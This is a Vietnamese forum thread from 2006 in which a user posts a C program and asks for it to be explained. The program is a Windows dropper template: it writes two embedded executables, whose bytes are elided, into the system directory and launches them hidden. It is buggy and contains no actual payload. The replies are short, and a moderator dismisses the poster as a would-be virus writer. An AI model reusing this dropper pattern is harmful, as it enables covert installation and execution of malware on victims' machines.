[Question] Dịch hộ cái |
26/09/2006 08:55:29 (+0700) | #1 | 25828 |
marky_2k6
Member
|
0 |
|
|
Joined: 24/09/2006 10:31:36
Messages: 9
Offline
|
|
[code]#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <windows.h>
const unsigned char hex1[] = {
0x4D,0x5A,...,0x5A};
const unsigned char hex1[] = {
0x4D,0x5A,...,0x6A};
const unsigned int len1 = 65536;
const unsigned int len2 = 76636;
int main()
{
HANDLE file;
char sysdir[MAX_PATH];
char newfile1[MAX_PATH];
char newfile2[MAX_PATH];
DWORD written;
GetSystemDirectory(sysdir, MAX_PATH);
sprintf(newfile1, "%s\\%s", sysdir, "newfile1.exe");
sprintf(newfile2, "%s\\%s", sysdir, "newfile2.exe");
file = CreateFile& #40;newfile1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMA
L,0);
WriteFile(file,hex1,len1,&written,0);
CloseHandle(file);
ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);
file = CreateFile& #40;newfile2,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMA
L,0);
WriteFile(file,hex2,len2,&written,0);
CloseHandle(file);
ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);
ExitProcess(0);
return 0;
}
Ai dịch hộ em đoạn code trên cái.........Đọc hok hiểu j` cả |
|
|
|
|
[Question] Dịch hộ cái |
26/09/2006 09:10:30 (+0700) | #2 | 25830 |
|
K4i
Moderator
|
Joined: 18/04/2006 09:32:13
Messages: 635
Location: Underground
Offline
|
|
Ai dịch hộ em đoạn code trên cái.........Đọc hok hiểu j` cả
==> nói thật nhé: đi học lập trình đi, rồi hãy mơ viết virus nhé. Đưa source code lên, xong cho một câu không hiểu gì thì ... |
|
Sống là để không chết chứ không phải để trở thành anh hùng |
|
|
|
[Question] Dịch hộ cái |
26/09/2006 10:24:10 (+0700) | #3 | 25850 |
|
tnt.ad
Member
|
0 |
|
|
Joined: 26/07/2006 11:57:22
Messages: 46
Offline
|
|
marky_2k6 wrote:
[code]#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <windows.h>
const unsigned char hex1[] = {
0x4D,0x5A,...,0x5A};
const unsigned char hex1[] = {
0x4D,0x5A,...,0x6A};
const unsigned int len1 = 65536;
const unsigned int len2 = 76636;
int main()
{
HANDLE file;
char sysdir[MAX_PATH];
char newfile1[MAX_PATH];
char newfile2[MAX_PATH];
DWORD written;
GetSystemDirectory(sysdir, MAX_PATH);
sprintf(newfile1, "%s\\%s", sysdir, "newfile1.exe");
sprintf(newfile2, "%s\\%s", sysdir, "newfile2.exe");
file = CreateFile& #40;newfile1,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMA
L,0);
WriteFile(file,hex1,len1,&written,0);
CloseHandle(file);
ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);
file = CreateFile& #40;newfile2,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMA
L,0);
WriteFile(file,hex2,len2,&written,0);
CloseHandle(file);
ShellExecute(0, "open",newfile1 ,NULL, NULL, SW_HIDE);
ExitProcess(0);
return 0;
}
Ai dịch hộ em đoạn code trên cái.........Đọc hok hiểu j` cả
học c đi ku ) |
|
|
|
|
|